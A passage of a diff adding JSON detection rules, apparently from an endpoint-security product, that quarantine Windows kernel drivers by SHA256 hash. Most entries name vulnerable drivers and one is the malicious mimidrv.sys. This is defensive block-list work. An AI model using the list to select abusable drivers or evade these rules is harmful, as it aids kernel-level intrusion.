+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.621737Z",
+  "creation_date": "2026-03-23T11:45:29.621739Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.621745Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c470c9db58840149ce002f3e6003382ecf740884a683bae8f9d10831be218fa2",
+  "comment": "ASUSTeK GPU vulnerable physmem driver (aka AsIO2_64.sys) [https://syscall.eu/blog/2020/03/30/asus_gio/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ca44402d-5da0-5fd4-b3d1-c8991d23d2e6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.472525Z",
+  "creation_date": "2026-03-23T11:45:31.472528Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.472537Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a3437986f500aa26ced21951972a96f9140f50d9ddb33e2f7b84f8ac105ca3bc",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ca4c451e-ec0a-58b7-8304-d70e67ec5fb4",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494302Z",
+  "creation_date": "2026-03-23T11:45:31.494305Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494313Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "81b89074775eed6ce5b826ba2ebbe54ce0bfabb28c46395f5ac6c4dbce802fa3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ca63ff5f-a596-5194-95ed-dcfa9cc8496d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146674Z",
+  "creation_date": "2026-03-23T11:45:32.146676Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146682Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "02576ccba2ff02ec564bef476ac55a92a16222d63c97550fb3d780f5c3de17f5",
+  "comment": "Vulnerable Kernel Driver (aka isodrivep64.sys) [https://www.loldrivers.io/drivers/0144dbef-1da8-406c-8e35-7afee57dc471/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ca68401c-89d2-5dd2-9263-00344fe2c3f7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.155084Z",
+  "creation_date": "2026-03-23T11:45:31.155086Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.155091Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1c0618b18970ec645aa2ac31a8d76a28ca0ca8060bb9880002c58df4963ab857",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ca6d8802-8255-5fbd-8315-adc787e10db8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.611132Z",
+  "creation_date": "2026-03-23T11:45:29.611134Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.611140Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "90f5962e6b2342eae05dc8f4c34d5291742537248587ccf6ac298691806a4517",
+  "comment": "CPUID CPU-Z vulnerable driver (aka cpuz143_x64.sys) [CVE-2017-15302] [https://www.loldrivers.io/drivers/de003542-80e1-4aa0-9b99-ed8647a93a6e/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "ca8d5d50-acee-52d5-a034-debb9cd72d9f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.482856Z",
+  "creation_date": "2026-03-23T11:45:31.482860Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.482895Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ee538988ff0a01845273de3c6ea3d822154314d017e58c0c93381466461448bb",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "caa2f197-be4d-54a6-b465-7cc2dcde4c90",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.816449Z",
+  "creation_date": "2026-03-23T11:45:31.816452Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.816460Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5b690ce513c1f2603e4184d4ea33d54210f6056b0103987ec4d1c57b351e7d7a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "caa9eef9-0b8d-5d6c-aca8-2cf2efac859f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811471Z",
+  "creation_date": "2026-03-23T11:45:31.811473Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811478Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3a52d30f821736d913228ed911b309da51e5445cfc239ea95ab1c5e6ae4dd82b",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cab74255-8527-55cc-85c2-73328bd0eb4f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.620423Z",
+  "creation_date": "2026-03-23T11:45:29.620425Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.620431Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d5586dc1e61796a9ae5e5d1ced397874753056c3df2eb963a8916287e1929a71",
+  "comment": "IBM Vulnerable Physmem drivers (aka citmdrv_amd64.sys and citmdrv_ia64.sys) [https://www.loldrivers.io/drivers/0f21a584-6ace-4242-82cb-9766cea6973a/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cac26e01-bde2-5065-84b3-bb35025f54ed",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.459021Z",
+  "creation_date": "2026-03-23T11:45:30.459024Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.459033Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "18b923b169b2c3c7db5cbfda0db0999f04adb2cf6c917e5b1fb2ff04714ecac1",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cad34b53-da2e-5122-983b-b0367bd4ca01",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.977356Z",
+  "creation_date": "2026-03-23T11:45:29.977358Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.977364Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "25a344cde4ba47efa3654afb5225f4a8f569f54f6c4448c00eb9fbd644fb96ca",
+  "comment": "Vulnerable Kernel Driver (aka ProtectS.sys) [https://www.loldrivers.io/drivers/99668140-a8f6-48f8-86d1-cf3bf693600c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cad995d3-c4e7-5d93-af71-069fab3efba2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.982379Z",
+  "creation_date": "2026-03-23T11:45:29.982381Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.982386Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cb5ebba562c33ef2ed93558913792726c8c2e5898531923589122ae31db64ebb",
+  "comment": "Vulnerable Kernel Driver (aka winio64.sys) [https://www.loldrivers.io/drivers/1ff757df-9a40-4f78-a28a-64830440abf7/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cae007a8-87fc-5835-824f-35da2c195565",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808534Z",
+  "creation_date": "2026-03-23T11:45:31.808537Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808546Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "099231d77895db5f1eb1018de0d2abf269353d7bc14e8ea2145c1fa662fee491",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cae93d5f-1ba1-5e1d-bfb3-d935abeb1f49",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.499028Z",
+  "creation_date": "2026-03-23T11:45:31.499031Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.499039Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "63bb289bed7e5f60bdaf7a065f5e54e1ccec7a6148cd668f97705706bf2e0dea",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "caf15fec-e693-5f15-99cf-57f7813e49e5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147183Z",
+  "creation_date": "2026-03-23T11:45:31.147185Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147191Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "36883ef1e53bb69e576c045971ff329c01e0c636e283c642c5790102e4f58fa0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cb014e14-cbdf-5069-b095-29d3d9325c71",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.470132Z",
+  "creation_date": "2026-03-23T11:45:30.470135Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.470145Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cbc1543100df83a08f3ee9476cde83db616f610917cd4bf5ecaafad46b6f7e23",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cb0f47fd-98d5-5e67-8c74-362489d4d335",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150211Z",
+  "creation_date": "2026-03-23T11:45:31.150213Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150220Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "3d110ef3acecc45b23c4d538a1b0389c7b0ad9deeb584316b55a4621d8168bac",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cb0febac-eb1b-5a1c-9020-65353a19b457",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.145056Z",
+  "creation_date": "2026-03-23T11:45:32.145059Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.145064Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "402318361c6069fc4c8a6f31b6f81921a1116426e9e4504ddb7363f26ff4d9c8",
+  "comment": "Vulnerable Kernel Driver (aka dellinstrumentation.sys) [https://www.loldrivers.io/drivers/86b9c8d6-9c59-4fd4-befd-ab9a36a19e36/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cb101e66-8a78-5f12-8e2f-d1b4c854a12c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607222Z",
+  "creation_date": "2026-03-23T11:45:29.607224Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607230Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0ec25c3698a5dbcca4cf6cf7f84b6fc51968d4d150605dd36c86452bda81f3bb",
+  "comment": "Dell vulnerable driver (aka dbutil_2_3.sys) [CVE-2021-21551] [https://github.com/SpikySabra/Kernel-Cactus] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cb107958-08be-5be5-a61f-6b3efa89ae6b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.473038Z",
+  "creation_date": "2026-03-23T11:45:30.473041Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.473050Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ef1abc77f4000e68d5190f9e11025ea3dc1e6132103d4c3678e15a678de09f33",
+  "comment": "Vulnerable Kernel Driver (aka cpuz.sys) [https://www.loldrivers.io/drivers/0f59ce3b-20ac-41ba-8010-2abc74827eb8/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cb171a55-85b7-5638-8c5f-42fdcc982b6d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.456451Z",
+  "creation_date": "2026-03-23T11:45:30.456455Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.456463Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "0209934453e9ce60b1a5e4b85412e6faf29127987505bfb1185fc9296c578b09",
+  "comment": "Vulnerable Kernel Driver (aka iobitunlocker.sys) [https://www.loldrivers.io/drivers/e368efc7-cf69-47ae-8204-f69dac000b22/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "cb223633-f3a4-5386-ae2e-00b7c1b74f6d",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.819956Z",
+  "creation_date": "2026-03-23T11:45:30.819958Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.819966Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
